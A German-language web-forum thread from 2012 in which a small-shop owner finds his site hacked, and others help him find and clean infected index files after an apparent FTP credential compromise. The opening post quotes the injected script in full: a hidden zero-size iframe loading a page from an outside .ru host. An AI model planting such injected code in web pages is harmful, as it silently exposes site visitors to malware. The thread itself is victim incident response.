Du bist nicht angemeldet. Der Zugriff auf einige Boards wurde daher deaktiviert.

#1 12. Juni 2012 08:31

Efferd
kennt CMS/ms
Registriert: 20. Dezember 2010
Beiträge: 182

[GELÖST] Mein kleiner Shop wurde gehackt...

Hallo,

wir wurden wohl gehackt....

Blöd gelaufen....

aber wie bekomm ich den müll da wieder weg? Ich find die Zeile nirgends!

Hatte mich gewundert, warum meine Seite nicht mehr valide ist *g*

hier die böse böse Zeile:

</html><script language=javascript>status=location;document.write('<iframe src="http://gk-sno.ru/photo.php" width=0 height=0 frameborder=0 onLoad="status=defaultStatus;"></iframe>');</script>

und das ist mein kleiner Shop

www.ridgebackshop.de

Da ich mich nur wenig um den Shop kümmere, war mir das nicht aufgefallen......

Beitrag geändert von Efferd (12. Juni 2012 09:28)

Offline

#2 12. Juni 2012 08:47

Andynium
Moderator
Ort: Dohna / SN / Deutschland
Registriert: 13. September 2010
Beiträge: 7.018
Webseite

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

Hast du schon die index.php gecheckt?

PS: In Sachen HTML-Validität ist da aber noch mehr im Argen ...

Offline

#3 12. Juni 2012 09:12

Efferd
kennt CMS/ms
Registriert: 20. Dezember 2010
Beiträge: 182

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

Wahhhhhhhhhhhhh!

Alle installationen auf dem Webspace sind betroffen..........................

Auch ein shop-System. Man Man Man.... erstmal alle Passwörter ändern.... meine güte.

Und der olle File-Zilla weg. Scheint ein FTP Problem zu sein yikes/

Ufff, ja, die Index wars... hoffentlich war das alles.

Vielen Dank!!

Offline

#4 12. Juni 2012 10:05

nicmare
Server-Pate
Registriert: 15. Dezember 2010
Beiträge: 1.314
Webseite

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

in der regel jede index.*, start.*, home.* und *.js Datei.

Offline

#5 12. Juni 2012 10:49

Efferd
kennt CMS/ms
Registriert: 20. Dezember 2010
Beiträge: 182

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

die js dateien sind zum glück sauber...

sonst hätt ich zumindest den shop komplett in die tonne schmeissen können. Leider hat der shop gefühlte 1000 index dateien in unzähligen ordnern...

Offline

#6 12. Juni 2012 11:41

Efferd
kennt CMS/ms
Registriert: 20. Dezember 2010
Beiträge: 182

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

Hmmmmmmmmm.....

Da sich das sicher noch die ganze Nacht hinziehen wird... kennt jemand ein "suchen und ersetzen" Tool, welches in mehreren Dateien sucht? *g*

Hab noch knapp 6000 Index-Dateien vor mir...

Offline

#7 12. Juni 2012 11:54

Efferd
kennt CMS/ms
Registriert: 20. Dezember 2010
Beiträge: 182

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

Ähm....

ein 2. Webpack hat es getroffen...... son gammel

durch die bank auch dort alle index dateien vollgemüllt.

Ich habe vorsorglich alle ftp-zugänge gelöscht, die ich hatte (direkt beim hoster)

Ähmm....

Offline

#8 12. Juni 2012 12:56

nicmare
Server-Pate
Registriert: 15. Dezember 2010
Beiträge: 1.314
Webseite

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

google mal nach "gumblar". da hat mal jemand nen regex script dafür geschrieben. das sucht und entfernt es aus mehreren dateien.

Offline

#9 12. Juni 2012 13:07

mike-r
arbeitet mit CMS/ms
Registriert: 21. Dezember 2010
Beiträge: 898
Webseite

Re: [GELÖST] Mein kleiner Shop wurde gehackt...

Wichtig:
- vor dem Fixen der Probleme Backups machen, auch die kaputten unveränderten Dateien
- Änderungsdaten der kaputten Dateien aufschreiben, damit man eingrenzen kann wann das war um im Log nach entsprechenden Auffälligkeiten suchen zu können

Welcher Hoster is das?


Unablässige Tools für's Webdevelopement/ Fehlerfindung: CSS Validierungsservice, Bildschirmlineal, Firebug, Tidy, Deutsche CSS-Referenz

Offline